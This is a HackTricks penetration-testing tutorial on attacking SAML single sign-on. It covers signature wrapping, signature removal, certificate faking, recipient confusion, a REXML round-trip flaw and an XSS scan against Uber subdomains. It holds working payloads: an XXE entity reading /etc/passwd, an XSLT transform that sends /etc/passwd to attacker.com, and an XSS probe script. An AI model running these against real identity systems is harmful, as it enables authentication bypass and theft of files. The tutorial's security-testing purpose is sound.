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333 lines
19 KiB
Markdown
333 lines
19 KiB
Markdown
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# SAML Attacks
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## SAML Attacks
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Basic Information
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{% content-ref url="saml-basics.md" %}
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[saml-basics.md](saml-basics.md)
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{% endcontent-ref %}
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## Tool
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[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): A tool that can take a URL or list of URL and prints back SAML consume URL.
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## XML round-trip
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In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn't change the data but based in that scenario, **the data being checked and the original data could not be the same**.
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For example, check the following code:
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```ruby
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require 'rexml/document'
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doc = REXML::Document.new <<XML
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<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
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<X>
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<Y/><![CDATA[--><X><Z/><!--]]>-->
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</X>
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XML
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puts "First child in original doc: " + doc.root.elements[1].name
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doc = REXML::Document.new doc.to_s
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puts "First child after round-trip: " + doc.root.elements[1].name
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```
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Running the program against REXML 3.2.4 or earlier would result in the following output instead:
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```
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First child in original doc: Y
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First child after round-trip: Z
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```
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This is how REXML saw the original XML document from the program above:
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.png>)
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And this is how it saw it after a round of parsing and serialization:
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.png>)
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For more information about the vulnerability and how to abuse it:
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* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
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* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
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## XML Signature Wrapping Attacks
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In **XML Signature Wrapping attacks (XSW)**, adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: **signature validation** and **function invocation**. These attacks involve altering the XML document structure. Specifically, the attacker **injects forged elements** that do not compromise the XML Signature's validity. This manipulation aims to create a discrepancy between the elements analyzed by the **application logic** and those checked by the **signature verification module**. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the **fraudulent elements**. Consequently, the attacker effectively bypasses the XML Signature's **integrity protection** and **origin authentication**, enabling the **injection of arbitrary content** without detection.
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The following attacks ara based on [**this blog post**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **and** [**this paper**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). So check those for further details.
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### XSW #1
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* **Strategy**: A new root element containing the signature is added.
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* **Implication**: The validator may get confused between the legitimate "Response -> Assertion -> Subject" and the attacker's "evil new Response -> Assertion -> Subject", leading to data integrity issues.
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.png>)
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### XSW #2
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* **Difference from XSW #1**: Utilizes a detached signature instead of an enveloping signature.
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* **Implication**: The "evil" structure, similar to XSW #1, aims to deceive the business logic post integrity check.
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.png>)
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### XSW #3
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* **Strategy**: An evil Assertion is crafted at the same hierarchical level as the original assertion.
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* **Implication**: Intends to confuse the business logic into using the malicious data.
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.png>)
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### XSW #4
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* **Difference from XSW #3**: The original Assertion becomes a child of the duplicated (evil) Assertion.
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* **Implication**: Similar to XSW #3 but alters the XML structure more aggressively.
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.png>)
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### XSW #5
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* **Unique Aspect**: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
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* **Implication**: The copied Assertion envelopes the Signature, modifying the expected document structure.
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.png>)
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### XSW #6
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* **Strategy**: Similar location insertion as XSW #4 and #5, but with a twist.
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* **Implication**: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.
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.png>)
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### XSW #7
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* **Strategy**: An Extensions element is inserted with the copied Assertion as a child.
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* **Implication**: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.
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.png>)
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### XSW #8
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* **Difference from XSW #7**: Utilizes another less restrictive XML element for a variant of the attack.
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* **Implication**: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.
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.png>)
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### Tool
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You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to parse the request, apply any XSW attack you choose, and launch it.
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## XXE
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If you don't know which kind of attacks are XXE, please read the following page:
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{% content-ref url="../xxe-xee-xml-external-entity.md" %}
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[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
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{% endcontent-ref %}
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SAML Responses are **deflated and base64 encoded XML documents** and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Here’s how such an attack can be visualized:
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```xml
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE foo [
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<!ELEMENT foo ANY >
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<!ENTITY file SYSTEM "file:///etc/passwd">
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<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
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<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
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<saml:Issuer>...</saml:Issuer>
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<ds:Signature ...>
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<ds:SignedInfo>
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<ds:CanonicalizationMethod .../>
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<ds:SignatureMethod .../>
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<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
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</ds:SignedInfo>
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<ds:SignatureValue>...</ds:SignatureValue>
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[...]
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```
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## Tools
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You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XXE vulnerabilities and SAML vulnerabilities.
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Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
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## XSLT via SAML
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For more information about XSLT go to:
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{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
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[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
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{% endcontent-ref %}
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Extensible Stylesheet Language Transformations (XSLT) can be used for transforming XML documents into various formats like HTML, JSON, or PDF. It's crucial to note that **XSLT transformations are performed before the verification of the digital signature**. This means that an attack can be successful even without a valid signature; a self-signed or invalid signature is sufficient to proceed.
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Here you can find a **POC** to check for this kind of vulnerabilities, in the hacktricks page mentioned at the beginning of this section you can find for payloads.
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```xml
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<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
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...
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<ds:Transforms>
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<ds:Transform>
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<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="doc">
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<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
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<xsl:variable name="escaped" select="encode-for-uri($file)"/>
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<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
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<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
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<xsl:value-of select="unparsed-text($exploitUrl)"/>
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</xsl:template>
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</xsl:stylesheet>
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</ds:Transform>
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</ds:Transforms>
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...
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</ds:Signature>
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```
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### Tool
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You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XSLT vulnerabilities.
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Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
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## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
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The **XML Signature Exclusion** observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, **signature validation may not occur**, making it vulnerable. It's possibel to test this by altering the contents that are usually verified by the signature.
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.png>)
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### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
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You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercept the SAML Response and click `Remove Signatures`. In doing so **all** Signature elements are removed.
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With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service
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## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a>
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## Certificate Faking
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Certificate Faking is a technique to test if a **Service Provider (SP) properly verifies that a SAML Message is signed** by a trusted Identity Provider (IdP). It involves using a \***self-signed certificate** to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.
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### How to Conduct Certificate Faking
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The following steps outline the process using the [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp extension:
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1. Intercept the SAML Response.
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2. If the response contains a signature, send the certificate to SAML Raider Certs using the `Send Certificate to SAML Raider Certs` button.
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3. In the SAML Raider Certificates tab, select the imported certificate and click `Save and Self-Sign` to create a self-signed clone of the original certificate.
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4. Go back to the intercepted request in Burp’s Proxy. Select the new self-signed certificate from the XML Signature dropdown.
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5. Remove any existing signatures with the `Remove Signatures` button.
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6. Sign the message or assertion with the new certificate using the **`(Re-)Sign Message`** or **`(Re-)Sign Assertion`** button, as appropriate.
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7. Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages.
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## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
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Token Recipient Confusion and Service Provider Target Confusion involve checking whether the **Service Provider correctly validates the intended recipient of a response**. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the **Recipient** field, found within the **SubjectConfirmationData** element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.
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#### **How It Works**
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For a SAML Token Recipient Confusion (SAML-TRC) attack to be feasible, certain conditions must be met. Firstly, there must be a valid account on a Service Provider (referred to as SP-Legit). Secondly, the targeted Service Provider (SP-Target) must accept tokens from the same Identity Provider that serves SP-Legit.
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The attack process is straightforward under these conditions. An authentic session is initiated with SP-Legit via the shared Identity Provider. The SAML Response from the Identity Provider to SP-Legit is intercepted. This intercepted SAML Response, originally intended for SP-Legit, is then redirected to SP-Target. Success in this attack is measured by SP-Target accepting the Assertion, granting access to resources under the same account name used for SP-Legit.
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```python
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# Example to simulate interception and redirection of SAML Response
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def intercept_and_redirect_saml_response(saml_response, sp_target_url):
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"""
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Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
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Args:
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- saml_response: The SAML Response intercepted (in string format).
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- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
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Returns:
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- status: Success or failure message.
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"""
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# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
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try:
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# Code to send the SAML Response to SP-Target would go here
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return "SAML Response successfully redirected to SP-Target."
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except Exception as e:
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return f"Failed to redirect SAML Response: {e}"
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```
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## XSS in Logout functionality
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The original research can be accessed through [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
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During the process of directory brute forcing, a logout page was discovered at:
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```
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https://carbon-prototype.uberinternal.com:443/oidauth/logout
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```
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Upon accessing this link, a redirection occurred to:
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```
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https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
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```
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This revealed that the `base` parameter accepts a URL. Considering this, the idea emerged to substitute the URL with `javascript:alert(123);` in an attempt to initiate an XSS (Cross-Site Scripting) attack.
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### Mass Exploitation
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[From this research](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
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|
|
|
|||
|
|
The [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) tool was used to analyze subdomains of `uberinternal.com` for domains utilizing the same library. Subsequently, a script was developed to target the `oidauth/prompt` page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it's reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.
|
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|
|
|
|||
|
|
```python
|
|||
|
|
import requests
|
|||
|
|
import urllib3
|
|||
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|||
|
|
from colorama import init ,Fore, Back, Style
|
|||
|
|
init()
|
|||
|
|
|
|||
|
|
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
|
|||
|
|
for url in urlList:
|
|||
|
|
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
|
|||
|
|
request = requests.get(url2, allow_redirects=True,verify=False)
|
|||
|
|
doesit = Fore.RED + "no"
|
|||
|
|
if ("Fady" in request.content):
|
|||
|
|
doesit = Fore.GREEN + "yes"
|
|||
|
|
print(Fore.WHITE + url2)
|
|||
|
|
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## References
|
|||
|
|
|
|||
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
|||
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
|
|||
|
|
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
|||
|
|
* [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
|||
|
|
|
|||
|
|
{% hint style="success" %}
|
|||
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|
|||
|
|
<details>
|
|||
|
|
|
|||
|
|
<summary>Support HackTricks</summary>
|
|||
|
|
|
|||
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|||
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|||
|
|
|
|||
|
|
</details>
|
|||
|
|
{% endhint %}
|